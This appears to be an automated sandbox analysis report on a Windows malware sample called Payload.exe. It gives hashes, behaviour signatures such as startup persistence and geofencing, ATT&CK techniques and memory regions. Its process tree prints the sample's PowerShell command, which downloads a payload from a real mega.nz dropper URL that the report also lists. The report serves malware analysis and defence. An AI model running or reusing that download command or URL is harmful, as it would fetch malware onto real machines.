Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-04-2023 22:37

General

  • Target

    Payload.exe

  • Size

    27KB

  • MD5

    b4dad0a0467d3a0c9621ca1c7794c707

  • SHA1

    61800bf88b4878d44f7accc79860c4aee482e5cb

  • SHA256

    7c2a477d02ba0822602b27a761edf1a8370d595e487fa0351e42d0765844561e

  • SHA512

    6d2880136ff05b51025cc345daf1f1b23ec5d04a0b7809b306dfd93fab4664335b832b6f4060db44b59a3c410213d4da133d56aaf588f22bd164187a7a9f1a65

  • SSDEEP

    384:vLbmd21qBNOaLNOF0TEdQIeCP1BBvMl7AQk93vmhm7UMKmIEecKdbXTzm9bVhca/:Dyd2u0cqKl7A/vMHTi9bD

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://mega.nz/file/CmZVzTzA#zNDfRZPSgAbtlolk0MfG2yD_ABN4riwqzWuFsRS5XqI

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 36 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Payload.exe
    "C:\Users\Admin\AppData\Local\Temp\Payload.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1120
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\URL.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2704
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell (new-object System.Net.WebClient).DownloadFile('https://mega.nz/file/CmZVzTzA#zNDfRZPSgAbtlolk0MfG2yD_ABN4riwqzWuFsRS5XqI','C:\ProgramData\https://mega.nz/file/CmZVzTzA#zNDfRZPSgAbtlolk0MfG2yD_ABN4riwqzWuFsRS5XqI');
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2336

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\URL.bat
    Filesize

    342B

    MD5

    ba24d1a1e004ff429e414026ade4dc4b

    SHA1

    098d72b925cfa75ffea85433a79329fdcdc1d3db

    SHA256

    1dec770f0da84ea92ec65a17b540d625a041223bbf918142e03f4ad060e93b8b

    SHA512

    9a0f209e8b3c70b4f38e19d20c160f6f4df20456e6c6a0101d873d2177693124fe0901d21ff5e2bcef654d06299d80bb92068e6c174d3f738112528c27c44eb2

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aokaftjh.pgm.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1120-133-0x0000000001CF0000-0x0000000001D00000-memory.dmp
    Filesize

    64KB

  • memory/1120-136-0x0000000001CF0000-0x0000000001D00000-memory.dmp
    Filesize

    64KB

  • memory/1120-166-0x0000000001CF0000-0x0000000001D00000-memory.dmp
    Filesize

    64KB

  • memory/1120-165-0x0000000001CF0000-0x0000000001D00000-memory.dmp
    Filesize

    64KB

  • memory/2336-146-0x0000000005450000-0x00000000054B6000-memory.dmp
    Filesize

    408KB

  • memory/2336-145-0x0000000004670000-0x0000000004680000-memory.dmp
    Filesize

    64KB

  • memory/2336-143-0x0000000004C80000-0x0000000004CA2000-memory.dmp
    Filesize

    136KB

  • memory/2336-147-0x00000000054C0000-0x0000000005526000-memory.dmp
    Filesize

    408KB

  • memory/2336-144-0x0000000004670000-0x0000000004680000-memory.dmp
    Filesize

    64KB

  • memory/2336-157-0x0000000005B30000-0x0000000005B4E000-memory.dmp
    Filesize

    120KB

  • memory/2336-158-0x0000000007360000-0x00000000079DA000-memory.dmp
    Filesize

    6.5MB

  • memory/2336-159-0x0000000006030000-0x000000000604A000-memory.dmp
    Filesize

    104KB

  • memory/2336-142-0x0000000004CB0000-0x00000000052D8000-memory.dmp
    Filesize

    6.2MB

  • memory/2336-141-0x0000000004580000-0x00000000045B6000-memory.dmp
    Filesize

    216KB